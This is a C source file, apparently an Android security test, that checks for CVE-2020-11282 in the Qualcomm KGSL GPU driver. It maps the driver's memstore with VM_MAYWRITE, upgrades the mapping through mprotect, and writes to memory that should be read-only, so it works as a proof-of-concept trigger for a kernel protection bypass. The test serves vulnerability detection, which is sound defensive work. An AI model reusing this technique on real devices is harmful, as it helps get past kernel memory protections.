You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

72 lines
1.6 KiB

/*
* CVE-2020-11282
*/
#include "../includes/common.h"
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
#define VM_MAYWRITE 0x00000020
#define KGSL_IOC_TYPE 0x09
#define KGSL_PROP_DEVICE_SHADOW 0x2
#define IOCTL_KGSL_DEVICE_GETPROPERTY \
_IOWR(KGSL_IOC_TYPE, 0x2, struct kgsl_device_getproperty)
struct kgsl_device_getproperty {
unsigned int type;
void __user *value;
size_t sizebytes;
};
struct kgsl_shadowprop {
unsigned long gpuaddr;
size_t size;
unsigned int flags; /* contains KGSL_FLAGS_ values */
};
int main() {
int x;
int y;
struct kgsl_device_getproperty param;
struct kgsl_shadowprop shadowprop;
int kgsl_fd;
kgsl_fd = open("/dev/kgsl-3d0", 0);
if (kgsl_fd < 0) {
EXIT_FAILURE;
}
param.type = KGSL_PROP_DEVICE_SHADOW;
param.value = &shadowprop;
param.sizebytes = sizeof(shadowprop);
if (ioctl(kgsl_fd, IOCTL_KGSL_DEVICE_GETPROPERTY, param) < 0) {
return EXIT_FAILURE;
}
// validity checking that mmap of memstore with PROT_WRITE is blocked
uint8_t *mmapped = mmap(NULL, shadowprop.size, PROT_READ | PROT_WRITE,
MAP_PRIVATE, kgsl_fd, shadowprop.gpuaddr);
FAIL_CHECK(!(mmapped != MAP_FAILED));
mmapped = mmap(NULL, shadowprop.size, PROT_READ | VM_MAYWRITE, MAP_PRIVATE,
kgsl_fd, shadowprop.gpuaddr);
FAIL_CHECK(!(mmapped == MAP_FAILED));
if (mprotect(mmapped, shadowprop.size, PROT_READ | PROT_WRITE)) {
return EXIT_FAILURE;
}
x = mmapped[0];
mmapped[0] = 0xFF;
y = mmapped[0];
return (x == 0 && y == 255) ? EXIT_VULNERABLE : EXIT_SUCCESS;
}